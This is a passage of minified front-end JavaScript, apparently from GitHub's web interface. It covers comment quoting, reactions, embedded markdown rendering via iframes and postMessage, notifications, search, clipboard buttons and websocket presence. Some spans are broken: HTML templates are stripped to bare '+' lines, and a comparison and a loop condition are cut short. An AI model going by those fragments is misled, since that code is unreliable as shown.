span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of 